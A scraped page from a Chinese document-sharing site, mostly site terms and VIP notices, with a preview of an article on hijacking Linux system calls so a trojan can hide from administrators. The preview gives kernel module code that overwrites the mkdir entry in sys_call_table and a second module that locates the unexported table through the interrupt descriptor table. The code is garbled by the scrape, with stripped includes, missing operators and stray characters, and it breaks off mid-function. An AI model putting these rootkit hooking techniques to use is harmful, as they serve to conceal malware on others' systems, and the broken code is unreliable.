- 1、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。。
- 2、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
- 4、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
- 5、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们。
- 6、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
- 7、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
关于系统调用劫持如果一个木马要隐藏起来,不被系统管理员发现。截获系统调用似乎是必须的。大部分情况下,通过修改系统调用表来实现系统调用的劫持。下面是一个典型的截获系统调用的模块:模块一:#include #include #include #include #include #include #include #include #include MODULE_LICENSE(GPL);extern void* sys_call_table[]; /*sys_call_table is exported, so we can accessit. But in some system this will cause problem */int (*orig_mkdir)(const char *path); /*the original systemcall*/int hacked_mkdir(const char *path){? ?? ???return 0; /*everything is ok, but he new systemcall? ?does nothing*/}int init_module(void) /*module setup*/{? ?? ???orig_mkdir=sys_call_table[SYS_mkdir];? ?? ???sys_call_table[SYS_mkdir]=hacked_mkdir;? ?? ???return 0;}void cleanup_module(void) /*module shutdown*/{? ?? ???sys_call_table[SYS_mkdir]=orig_mkdir; /*set mkdir syscall to the origal??one*/}用这种方法实现系统调用有个前提,就是系统必须导出sys_call_table内核符号,但是在2.6内核和有些2.4内核的系统(比如redhat as 3)中,sys_call_table不再导出。也就是说模块中不能再通过简单的extern void*sys_call_table[];来获得系统调用表地址。所幸的是,即使内核不导出sys_call_table,也可以在内存中找到它的地址,下面是它的实现方法:模块二:(2.4和2.6内核测试通过)#include #include #include #include #include MODULE_LICENSE(GPL);MODULE_AUTHOR([email=xunil@bmy]xunil@bmy[/email]);MODULE_DESCRIPTION(Different from others, this module??automatically locate the entry of sys_call_table !);unsigned long *sys_call_table=NULL;asmlinkage int (*orig_mkdir)(const char *,int);struct _idt{??unsigned short offset_low,segment_sel;??unsigned char reserved,flags;??unsigned short offset_high;};unsigned long *getscTable(){? ?? ???unsigned char idtr[6],*shell,*sort;? ?? ???struct _idt *idt;? ?? ???unsigned long system_call,sct;? ?? ???unsigned short offset_low,offset_high;? ?? ???char *p;? ?? ???int i;? ?? ???/* get the interrupt descriptor table */? ?? ???__asm__(sidt %0 : =m (idtr));? ?? ???/* get the address of system_call */? ?? ???idt=(struct _idt*)(*(unsigned long*)idtr[2]+8*0x80);? ?? ???offset_low = idt-offset_low;? ?? ???offset_high = idt-offset_high;? ?? ???system_call=(offset_highpid);? ?
您可能关注的文档
最近下载
- 24.XX银行_信息科技外包服务中断应急预案管理办法.doc VIP
- 学习贯彻《关于加强党的作风建设论述摘编》PPT:持之以恒推进作风建设常态化长效化,保持党的先进性和纯洁性(附文稿).pptx VIP
- 绍兴续志1994—2005湖塘街道资料长篇.doc
- 快乐汉语第一册第二课.pptx VIP
- ISO8502-3喷砂后钢板表面灰尘清洁度标准.pdf
- 牛津译林版英语九年级上册9AReading &Task中文翻译口语材料.docx VIP
- 初中历史教师如何应对学生的个别差异.pptx VIP
- 部编版四年级语文上册期中自主综合测试 (基础卷)(含答案).docx VIP
- 人教版七年级上册期中模拟试题(Starter Units 1-Units4)(含答案).docx VIP
- 嵌入式软件工程师招聘条件.pdf VIP
原创力文档


文档评论(0)